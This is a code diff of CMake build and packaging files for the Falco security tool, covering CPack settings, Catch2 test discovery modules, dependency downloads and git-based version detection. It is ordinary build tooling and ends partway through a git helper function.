-	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/systemd/falco-kmod.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
-	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/systemd/falco-bpf.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
-	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/systemd/falco-modern-bpf.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
-	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/systemd/falco-custom.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
-	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/systemd/falcoctl-artifact-follow.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
+if(CPACK_GENERATOR MATCHES "DEB")
+	list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d/")
+	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d")
+endif()
+
+if(CPACK_GENERATOR MATCHES "RPM")
+	list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d/")
+	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/rpm/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d")
 endif()
 
 if(CPACK_GENERATOR MATCHES "TGZ")
 	set(CPACK_SET_DESTDIR "ON")
+	set(CPACK_STRIP_FILES "OFF")
 endif()

cmake/cpack/debian/conffiles

@@ -1,3 +1,4 @@
 /etc/falco/falco.yaml
-/etc/falco/falcoctl.yaml
+/etc/falco/falco_rules.yaml
+/etc/falco/rules.available/application_rules.yaml
 /etc/falco/falco_rules.local.yaml

cmake/modules/CPackConfig.cmake

@@ -1,68 +1,30 @@
-#
-# Copyright (C) 2022 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
 set(CPACK_PACKAGE_NAME "${PACKAGE_NAME}")
 set(CPACK_PACKAGE_VENDOR "Cloud Native Computing Foundation (CNCF) cncf.io.")
-set(CPACK_PACKAGE_CONTACT "cncf-falco-dev@lists.cncf.io") # todo: change this once we've got @falco.org addresses
+set(CPACK_PACKAGE_CONTACT "opensource@sysdig.com") # todo: change this once we've got @falco.org addresses
 set(CPACK_PACKAGE_DESCRIPTION_SUMMARY "Falco - Container Native Runtime Security")
 set(CPACK_PACKAGE_DESCRIPTION_FILE "${PROJECT_SOURCE_DIR}/scripts/description.txt")
 set(CPACK_PACKAGE_VERSION "${FALCO_VERSION}")
-set(CPACK_PACKAGE_VERSION_MAJOR "${FALCO_VERSION_MAJOR}")
-set(CPACK_PACKAGE_VERSION_MINOR "${FALCO_VERSION_MINOR}")
-set(CPACK_PACKAGE_VERSION_PATCH "${FALCO_VERSION_PATCH}")
 set(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}-${CMAKE_SYSTEM_PROCESSOR}")
 set(CPACK_PROJECT_CONFIG_FILE "${PROJECT_SOURCE_DIR}/cmake/cpack/CMakeCPackOptions.cmake")
 set(CPACK_STRIP_FILES "ON")
 set(CPACK_PACKAGE_RELOCATABLE "OFF")
 
-# Built packages will include only the following components
-set(CPACK_INSTALL_CMAKE_PROJECTS
-  "${CMAKE_CURRENT_BINARY_DIR};${FALCO_COMPONENT_NAME};${FALCO_COMPONENT_NAME};/"
-  "${CMAKE_CURRENT_BINARY_DIR};${DRIVER_COMPONENT_NAME};${DRIVER_COMPONENT_NAME};/"
-)
-if(NOT MUSL_OPTIMIZED_BUILD) # static builds do not have plugins
-  list(APPEND CPACK_INSTALL_CMAKE_PROJECTS
-    "${CMAKE_CURRENT_BINARY_DIR};${PLUGINS_COMPONENT_NAME};${PLUGINS_COMPONENT_NAME};/"
-  )
-endif()
+set(CPACK_GENERATOR DEB RPM TGZ)
 
-if(NOT CPACK_GENERATOR)
-    set(CPACK_GENERATOR DEB RPM TGZ)
-endif()
-
-message(STATUS "Using package generators: ${CPACK_GENERATOR}")
-message(STATUS "Package architecture: ${CMAKE_SYSTEM_PROCESSOR}")
 set(CPACK_DEBIAN_PACKAGE_SECTION "utils")
-
-if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "x86_64")
-  set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "amd64")
-endif()
-if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "aarch64")
-  set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "arm64")
-endif()
+set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "amd64")
 set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "https://www.falco.org")
-set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
+set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0), libyaml-0-2")
 set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA
-    "${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${CMAKE_BINARY_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cmake/cpack/debian/conffiles"
+    "${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cmake/cpack/debian/conffiles"
 )
 
 set(CPACK_RPM_PACKAGE_LICENSE "Apache v2.0")
-set(CPACK_RPM_PACKAGE_ARCHITECTURE, "amd64")
 set(CPACK_RPM_PACKAGE_URL "https://www.falco.org")
-set(CPACK_RPM_PACKAGE_REQUIRES "dkms, kernel-devel, systemd")
-set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postinstall")
-set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/preuninstall")
-set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postuninstall")
+set(CPACK_RPM_PACKAGE_REQUIRES "dkms, kernel-devel, libyaml, ncurses")
+set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postinstall")
+set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/preuninstall")
+set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postuninstall")
 set(CPACK_RPM_PACKAGE_VERSION "${FALCO_VERSION}")
 set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION
     /usr/src
@@ -71,7 +33,9 @@ set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION
     /etc
     /usr
     /usr/bin
-    /usr/share)
+    /usr/share
+    /etc/rc.d
+    /etc/rc.d/init.d)
 set(CPACK_RPM_PACKAGE_RELOCATABLE "OFF")
 
 include(CPack)

cmake/modules/Catch.cmake

@@ -0,0 +1,159 @@
+# Distributed under the OSI-approved BSD 3-Clause License.  See accompanying file Copyright.txt or
+# https://cmake.org/licensing for details.
+
+#[=======================================================================[.rst:
+Catch
+-----
+
+This module defines a function to help use the Catch test framework.
+
+The :command:`catch_discover_tests` discovers tests by asking the compiled test
+executable to enumerate its tests.  This does not require CMake to be re-run
+when tests change.  However, it may not work in a cross-compiling environment,
+and setting test properties is less convenient.
+
+This command is intended to replace use of :command:`add_test` to register
+tests, and will create a separate CTest test for each Catch test case.  Note
+that this is in some cases less efficient, as common set-up and tear-down logic
+cannot be shared by multiple test cases executing in the same instance.
+However, it provides more fine-grained pass/fail information to CTest, which is
+usually considered as more beneficial.  By default, the CTest test name is the
+same as the Catch name; see also ``TEST_PREFIX`` and ``TEST_SUFFIX``.
+
+.. command:: catch_discover_tests
+
+  Automatically add tests with CTest by querying the compiled test executable
+  for available tests::
+
+    catch_discover_tests(target
+                         [TEST_SPEC arg1...]
+                         [EXTRA_ARGS arg1...]
+                         [WORKING_DIRECTORY dir]
+                         [TEST_PREFIX prefix]
+                         [TEST_SUFFIX suffix]
+                         [PROPERTIES name1 value1...]
+                         [TEST_LIST var]
+    )
+
+  ``catch_discover_tests`` sets up a post-build command on the test executable
+  that generates the list of tests by parsing the output from running the test
+  with the ``--list-test-names-only`` argument.  This ensures that the full
+  list of tests is obtained.  Since test discovery occurs at build time, it is
+  not necessary to re-run CMake when the list of tests changes.
+  However, it requires that :prop_tgt:`CROSSCOMPILING_EMULATOR` is properly set
+  in order to function in a cross-compiling environment.
+
+  Additionally, setting properties on tests is somewhat less convenient, since
+  the tests are not available at CMake time.  Additional test properties may be
+  assigned to the set of tests as a whole using the ``PROPERTIES`` option.  If
+  more fine-grained test control is needed, custom content may be provided
+  through an external CTest script using the :prop_dir:`TEST_INCLUDE_FILES`
+  directory property.  The set of discovered tests is made accessible to such a
+  script via the ``<target>_TESTS`` variable.
+
+  The options are:
+
+  ``target``
+    Specifies the Catch executable, which must be a known CMake executable
+    target.  CMake will substitute the location of the built executable when
+    running the test.
+
+  ``TEST_SPEC arg1...``
+    Specifies test cases, wildcarded test cases, tags and tag expressions to
+    pass to the Catch executable with the ``--list-test-names-only`` argument.
+
+  ``EXTRA_ARGS arg1...``
+    Any extra arguments to pass on the command line to each test case.
+
+  ``WORKING_DIRECTORY dir``
+    Specifies the directory in which to run the discovered test cases.  If this
+    option is not provided, the current binary directory is used.
+
+  ``TEST_PREFIX prefix``
+    Specifies a ``prefix`` to be prepended to the name of each discovered test
+    case.  This can be useful when the same test executable is being used in
+    multiple calls to ``catch_discover_tests()`` but with different
+    ``TEST_SPEC`` or ``EXTRA_ARGS``.
+
+  ``TEST_SUFFIX suffix``
+    Similar to ``TEST_PREFIX`` except the ``suffix`` is appended to the name of
+    every discovered test case.  Both ``TEST_PREFIX`` and ``TEST_SUFFIX`` may
+    be specified.
+
+  ``PROPERTIES name1 value1...``
+    Specifies additional properties to be set on all tests discovered by this
+    invocation of ``catch_discover_tests``.
+
+  ``TEST_LIST var``
+    Make the list of tests available in the variable ``var``, rather than the
+    default ``<target>_TESTS``.  This can be useful when the same test
+    executable is being used in multiple calls to ``catch_discover_tests()``.
+    Note that this variable is only available in CTest.
+
+#]=======================================================================]
+
+# ------------------------------------------------------------------------------
+function(catch_discover_tests TARGET)
+  cmake_parse_arguments("" "" "TEST_PREFIX;TEST_SUFFIX;WORKING_DIRECTORY;TEST_LIST" "TEST_SPEC;EXTRA_ARGS;PROPERTIES"
+                        ${ARGN})
+
+  if(NOT _WORKING_DIRECTORY)
+    set(_WORKING_DIRECTORY "${CMAKE_CURRENT_BINARY_DIR}")
+  endif()
+  if(NOT _TEST_LIST)
+    set(_TEST_LIST ${TARGET}_TESTS)
+  endif()
+
+  # Generate a unique name based on the extra arguments
+  string(SHA1 args_hash "${_TEST_SPEC} ${_EXTRA_ARGS}")
+  string(SUBSTRING ${args_hash} 0 7 args_hash)
+
+  # Define rule to generate test list for aforementioned test executable
+  set(ctest_include_file "${CMAKE_CURRENT_BINARY_DIR}/${TARGET}_include-${args_hash}.cmake")
+  set(ctest_tests_file "${CMAKE_CURRENT_BINARY_DIR}/${TARGET}_tests-${args_hash}.cmake")
+  get_property(
+    crosscompiling_emulator
+    TARGET ${TARGET}
+    PROPERTY CROSSCOMPILING_EMULATOR)
+  add_custom_command(
+    TARGET ${TARGET}
+    POST_BUILD
+    BYPRODUCTS "${ctest_tests_file}"
+    COMMAND
+      "${CMAKE_COMMAND}" -D "TEST_TARGET=${TARGET}" -D "TEST_EXECUTABLE=$<TARGET_FILE:${TARGET}>" -D
+      "TEST_EXECUTOR=${crosscompiling_emulator}" -D "TEST_WORKING_DIR=${_WORKING_DIRECTORY}" -D
+      "TEST_SPEC=${_TEST_SPEC}" -D "TEST_EXTRA_ARGS=${_EXTRA_ARGS}" -D "TEST_PROPERTIES=${_PROPERTIES}" -D
+      "TEST_PREFIX=${_TEST_PREFIX}" -D "TEST_SUFFIX=${_TEST_SUFFIX}" -D "TEST_LIST=${_TEST_LIST}" -D
+      "CTEST_FILE=${ctest_tests_file}" -P "${_CATCH_DISCOVER_TESTS_SCRIPT}"
+    VERBATIM)
+
+  file(
+    WRITE "${ctest_include_file}"
+    "if(EXISTS \"${ctest_tests_file}\")\n" "  include(\"${ctest_tests_file}\")\n" "else()\n"
+    "  add_test(${TARGET}_NOT_BUILT-${args_hash} ${TARGET}_NOT_BUILT-${args_hash})\n" "endif()\n")
+
+  if(NOT ${CMAKE_VERSION} VERSION_LESS "3.10.0")
+    # Add discovered tests to directory TEST_INCLUDE_FILES
+    set_property(
+      DIRECTORY
+      APPEND
+      PROPERTY TEST_INCLUDE_FILES "${ctest_include_file}")
+  else()
+    # Add discovered tests as directory TEST_INCLUDE_FILE if possible
+    get_property(
+      test_include_file_set
+      DIRECTORY
+      PROPERTY TEST_INCLUDE_FILE
+      SET)
+    if(NOT ${test_include_file_set})
+      set_property(DIRECTORY PROPERTY TEST_INCLUDE_FILE "${ctest_include_file}")
+    else()
+      message(FATAL_ERROR "Cannot set more than one TEST_INCLUDE_FILE")
+    endif()
+  endif()
+
+endfunction()
+
+# ######################################################################################################################
+
+set(_CATCH_DISCOVER_TESTS_SCRIPT ${CMAKE_CURRENT_LIST_DIR}/CatchAddTests.cmake)

cmake/modules/CatchAddTests.cmake

@@ -0,0 +1,61 @@
+# Distributed under the OSI-approved BSD 3-Clause License.  See accompanying file Copyright.txt or
+# https://cmake.org/licensing for details.
+
+set(prefix "${TEST_PREFIX}")
+set(suffix "${TEST_SUFFIX}")
+set(spec ${TEST_SPEC})
+set(extra_args ${TEST_EXTRA_ARGS})
+set(properties ${TEST_PROPERTIES})
+set(script)
+set(suite)
+set(tests)
+
+function(add_command NAME)
+  set(_args "")
+  foreach(_arg ${ARGN})
+    if(_arg MATCHES "[^-./:a-zA-Z0-9_]")
+      set(_args "${_args} [==[${_arg}]==]") # form a bracket_argument
+    else()
+      set(_args "${_args} ${_arg}")
+    endif()
+  endforeach()
+  set(script
+      "${script}${NAME}(${_args})\n"
+      PARENT_SCOPE)
+endfunction()
+
+# Run test executable to get list of available tests
+if(NOT EXISTS "${TEST_EXECUTABLE}")
+  message(FATAL_ERROR "Specified test executable '${TEST_EXECUTABLE}' does not exist")
+endif()
+execute_process(
+  COMMAND ${TEST_EXECUTOR} "${TEST_EXECUTABLE}" ${spec} --list-test-names-only
+  OUTPUT_VARIABLE output
+  RESULT_VARIABLE result)
+# Catch --list-test-names-only reports the number of tests, so 0 is... surprising
+if(${result} EQUAL 0)
+  message(WARNING "Test executable '${TEST_EXECUTABLE}' contains no tests!\n")
+elseif(${result} LESS 0)
+  message(FATAL_ERROR "Error running test executable '${TEST_EXECUTABLE}':\n" "  Result: ${result}\n"
+                      "  Output: ${output}\n")
+endif()
+
+string(REPLACE "\n" ";" output "${output}")
+
+# Parse output
+foreach(line ${output})
+  set(test ${line})
+  # use escape commas to handle properly test cases with commans inside the name
+  string(REPLACE "," "\\," test_name ${test})
+  # ...and add to script
+  add_command(add_test "${prefix}${test}${suffix}" ${TEST_EXECUTOR} "${TEST_EXECUTABLE}" "${test_name}" ${extra_args})
+  add_command(set_tests_properties "${prefix}${test}${suffix}" PROPERTIES WORKING_DIRECTORY "${TEST_WORKING_DIR}"
+              ${properties})
+  list(APPEND tests "${prefix}${test}${suffix}")
+endforeach()
+
+# Create a list of all discovered tests, which users may use to e.g. set properties on the tests
+add_command(set ${TEST_LIST} ${tests})
+
+# Write CTest script
+file(WRITE "${CTEST_FILE}" "${script}")

cmake/modules/Coverage.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2020 The Falco Authors.
+# Copyright (C) 2019 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at

cmake/modules/DownloadCatch.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2020 The Falco Authors.
+# Copyright (C) 2019 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at
@@ -10,19 +10,18 @@
 # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
 # specific language governing permissions and limitations under the License.
 #
-cmake_minimum_required(VERSION 3.5.1)
-
-project(falcosecurity-libs-repo NONE)
-
 include(ExternalProject)
-message(STATUS "Libs version: ${FALCOSECURITY_LIBS_VERSION}")
+
+set(CATCH2_INCLUDE ${CMAKE_BINARY_DIR}/catch2-prefix/include)
+
+set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.9.1.tar.gz URL_HASH
+                       MD5=4980778888fed635bf191d8a86f9f89c)
 
 ExternalProject_Add(
-  falcosecurity-libs
-  URL "https://github.com/falcosecurity/libs/archive/${FALCOSECURITY_LIBS_VERSION}.tar.gz"
-  URL_HASH "${FALCOSECURITY_LIBS_CHECKSUM}"
+  catch2
+  PREFIX ${CMAKE_BINARY_DIR}/catch2-prefix
+  ${CATCH_EXTERNAL_URL}
   CONFIGURE_COMMAND ""
   BUILD_COMMAND ""
-  INSTALL_COMMAND ""
-  TEST_COMMAND ""
-)
+  INSTALL_COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_BINARY_DIR}/catch2-prefix/src/catch2/single_include/catch2/catch.hpp
+                  ${CATCH2_INCLUDE}/catch.hpp)

cmake/modules/DownloadFakeIt.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2022 The Falco Authors.
+# Copyright (C) 2019 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at
@@ -10,20 +10,19 @@
 # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
 # specific language governing permissions and limitations under the License.
 #
-cmake_minimum_required(VERSION 3.5.1)
-
-project(driver-repo NONE)
-
 include(ExternalProject)
-message(STATUS "Driver version: ${DRIVER_VERSION}")
+
+set(FAKEIT_INCLUDE ${CMAKE_BINARY_DIR}/fakeit-prefix/include)
+
+set(FAKEIT_EXTERNAL_URL URL https://github.com/eranpeer/fakeit/archive/2.0.5.tar.gz URL_HASH
+                        MD5=d3d21b909cebaea5b780af5500bf384e)
 
 ExternalProject_Add(
-  driver
-  URL "https://github.com/falcosecurity/libs/archive/${DRIVER_VERSION}.tar.gz"
-  URL_HASH "${DRIVER_CHECKSUM}"
+  fakeit-external
+  PREFIX ${CMAKE_BINARY_DIR}/fakeit-prefix
+  ${FAKEIT_EXTERNAL_URL}
   CONFIGURE_COMMAND ""
   BUILD_COMMAND ""
-  INSTALL_COMMAND ""
-  TEST_COMMAND ""
-  PATCH_COMMAND sh -c "mv ./driver ../driver.tmp && rm -rf ./* && mv ../driver.tmp/* ."
-)
+  INSTALL_COMMAND
+    ${CMAKE_COMMAND} -E copy ${CMAKE_BINARY_DIR}/fakeit-prefix/src/fakeit-external/single_header/catch/fakeit.hpp
+    ${FAKEIT_INCLUDE}/fakeit.hpp)

cmake/modules/FindMakedev.cmake

@@ -0,0 +1,31 @@
+#
+# Copyright (C) 2019 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
+
+# This module is used to understand where the makedev function is defined in the glibc in use. see 'man 3 makedev'
+# Usage: In your CMakeLists.txt include(FindMakedev)
+#
+# In your source code:
+#
+# #if HAVE_SYS_MKDEV_H #include <sys/mkdev.h> #endif #ifdef HAVE_SYS_SYSMACROS_H #include <sys/sysmacros.h> #endif
+#
+include(${CMAKE_ROOT}/Modules/CheckIncludeFile.cmake)
+
+check_include_file("sys/mkdev.h" HAVE_SYS_MKDEV_H)
+check_include_file("sys/sysmacros.h" HAVE_SYS_SYSMACROS_H)
+
+if(HAVE_SYS_MKDEV_H)
+  add_definitions(-DHAVE_SYS_MKDEV_H)
+endif()
+if(HAVE_SYS_SYSMACROS_H)
+  add_definitions(-DHAVE_SYS_SYSMACROS_H)
+endif()

cmake/modules/GetFalcoVersion.cmake

@@ -1,84 +1,59 @@
-#
-# Copyright (C) 2020 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
 # Retrieve git ref and commit hash
 include(GetGitRevisionDescription)
+get_git_head_revision(FALCO_REF FALCO_HASH)
 
 # Create the falco version variable according to git index
 if(NOT FALCO_VERSION)
+  string(STRIP "${FALCO_HASH}" FALCO_HASH)
   # Try to obtain the exact git tag
   git_get_exact_tag(FALCO_TAG)
   if(NOT FALCO_TAG)
-      # Obtain the closest tag
-      git_describe(FALCO_VERSION "--always" "--tags" "--abbrev=7")
-      string(REGEX MATCH "^[0-9]+.[0-9]+.[0-9]+$" FALCO_TAG ${FALCO_VERSION})
-      if(FALCO_VERSION MATCHES "NOTFOUND$" OR FALCO_TAG STREQUAL "")
-        # Fetch current hash
-        get_git_head_revision(refspec FALCO_HASH)
-        if(NOT FALCO_HASH OR FALCO_HASH MATCHES "NOTFOUND$")
-          set(FALCO_VERSION "0.0.0")
-        else()
-          # Obtain the closest tag
-          git_get_latest_tag(FALCO_LATEST_TAG)
-          if(NOT FALCO_LATEST_TAG OR FALCO_LATEST_TAG MATCHES "NOTFOUND$")
-            set(FALCO_VERSION "0.0.0")
-          else()
-            # Compute commit delta since tag
-            git_get_delta_from_tag(FALCO_DELTA ${FALCO_LATEST_TAG} ${FALCO_HASH})
-            if(NOT FALCO_DELTA OR FALCO_DELTA MATCHES "NOTFOUND$")
-              set(FALCO_VERSION "0.0.0")
-            else()
-              # Cut hash to 7 bytes
-              string(SUBSTRING ${FALCO_HASH} 0 7 FALCO_HASH)
-              # Format FALCO_VERSION to be semver with prerelease and build part
-              set(FALCO_VERSION
-                    "${FALCO_LATEST_TAG}-${FALCO_DELTA}+${FALCO_HASH}")
-            endif()
-          endif()
-        endif()
+    # Obtain the closest tag
+    git_describe(FALCO_VERSION "--abbrev=0" "--tags") # suppress the long format
+    # Fallback version
+    if(FALCO_VERSION MATCHES "NOTFOUND$")
+      set(FALCO_VERSION "0.0.0")
+    endif()
+    # TODO(leodido) > Construct the prerelease part (semver 2) Construct the Build metadata part (semver 2)
+    if(NOT FALCO_HASH MATCHES "NOTFOUND$")
+      string(SUBSTRING "${FALCO_HASH}" 0 7 FALCO_VERSION_BUILD)
+      # Check whether there are uncommitted changes or not
+      git_local_changes(FALCO_CHANGES)
+      if(FALCO_CHANGES STREQUAL "DIRTY")
+        string(TOLOWER "${FALCO_CHANGES}" FALCO_CHANGES)
+        set(FALCO_VERSION_BUILD "${FALCO_VERSION_BUILD}.${FALCO_CHANGES}")
       endif()
-      # Format FALCO_VERSION to be semver with prerelease and build part
-      string(REPLACE "-g" "+" FALCO_VERSION "${FALCO_VERSION}")
+    endif()
+    # Append the build metadata part (semver 2)
+    if(FALCO_VERSION_BUILD)
+      set(FALCO_VERSION "${FALCO_VERSION}+${FALCO_VERSION_BUILD}")
+    endif()
   else()
     # A tag has been found: use it as the Falco version
     set(FALCO_VERSION "${FALCO_TAG}")
+    # Remove the starting "v" in case there is one
+    string(REGEX REPLACE "^v(.*)" "\\1" FALCO_VERSION "${FALCO_TAG}")
+  endif()
+  # TODO(leodido) > ensure Falco version is semver before extracting parts Populate partial version variables
+  string(REGEX MATCH "^(0|[1-9][0-9]*)" FALCO_VERSION_MAJOR "${FALCO_VERSION}")
+  string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\..*" "\\2" FALCO_VERSION_MINOR "${FALCO_VERSION}")
+  string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*).*" "\\3" FALCO_VERSION_PATCH
+                       "${FALCO_VERSION}")
+  string(
+    REGEX
+    REPLACE
+      "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)-((0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)\\.(0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)*).*"
+      "\\4"
+      FALCO_VERSION_PRERELEASE
+      "${FALCO_VERSION}")
+  if(FALCO_VERSION_PRERELEASE STREQUAL "${FALCO_VERSION}")
+    set(FALCO_VERSION_PRERELEASE "")
+  endif()
+  if(NOT FALCO_VERSION_BUILD)
+    string(REGEX REPLACE ".*\\+([0-9a-zA-Z-]+(\\.[0-9a-zA-Z-]+)*)" "\\1" FALCO_VERSION_BUILD "${FALCO_VERSION}")
+  endif()
+  if(FALCO_VERSION_BUILD STREQUAL "${FALCO_VERSION}")
+    set(FALCO_VERSION_BUILD "")
   endif()
 endif()
-
-# Remove the starting "v" in case there is one
-string(REGEX REPLACE "^v(.*)" "\\1" FALCO_VERSION "${FALCO_VERSION}")
-
-# TODO(leodido) > ensure Falco version is semver before extracting parts Populate partial version variables
-string(REGEX MATCH "^(0|[1-9][0-9]*)" FALCO_VERSION_MAJOR "${FALCO_VERSION}")
-string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\..*" "\\2" FALCO_VERSION_MINOR "${FALCO_VERSION}")
-string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*).*" "\\3" FALCO_VERSION_PATCH
-                     "${FALCO_VERSION}")
-string(
-  REGEX
-  REPLACE
-    "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)-((0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)(\\.(0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*))*).*"
-    "\\5"
-    FALCO_VERSION_PRERELEASE
-    "${FALCO_VERSION}")
-
-if(FALCO_VERSION_PRERELEASE STREQUAL "${FALCO_VERSION}")
-  set(FALCO_VERSION_PRERELEASE "")
-endif()
-if(NOT FALCO_VERSION_BUILD)
-  string(REGEX REPLACE ".*\\+([0-9a-zA-Z-]+(\\.[0-9a-zA-Z-]+)*)" "\\1" FALCO_VERSION_BUILD "${FALCO_VERSION}")
-endif()
-if(FALCO_VERSION_BUILD STREQUAL "${FALCO_VERSION}")
-  set(FALCO_VERSION_BUILD "")
-endif()
-
 message(STATUS "Falco version: ${FALCO_VERSION}")

cmake/modules/GetGitRevisionDescription.cmake

@@ -86,36 +86,29 @@ function(get_git_head_revision _refspecvar _hashvar)
       PARENT_SCOPE)
 endfunction()
 
-function(git_get_latest_tag _var)
+function(git_describe _var)
   if(NOT GIT_FOUND)
     find_package(Git QUIET)
   endif()
-
-  # We use git describe --tags `git rev-list --tags --max-count=1`
-  execute_process(COMMAND
-          "${GIT_EXECUTABLE}"
-          rev-list
-          --tags
-          --max-count=1
-          WORKING_DIRECTORY
-          "${CMAKE_CURRENT_SOURCE_DIR}"
-          COMMAND tail -n1
-          RESULT_VARIABLE
-          res
-          OUTPUT_VARIABLE
-          tag_hash
-          ERROR_QUIET
-          OUTPUT_STRIP_TRAILING_WHITESPACE)
-  if(NOT res EQUAL 0)
-    set(out "${tag_hash}-${res}-NOTFOUND" PARENT_SCOPE)
+  get_git_head_revision(refspec hash)
+  if(NOT GIT_FOUND)
+    set(${_var}
+        "GIT-NOTFOUND"
+        PARENT_SCOPE)
+    return()
+  endif()
+  if(NOT hash)
+    set(${_var}
+        "HEAD-HASH-NOTFOUND"
+        PARENT_SCOPE)
     return()
   endif()
 
   execute_process(COMMAND
     "${GIT_EXECUTABLE}"
     describe
-    --tags
-    ${tag_hash}
+    ${hash}
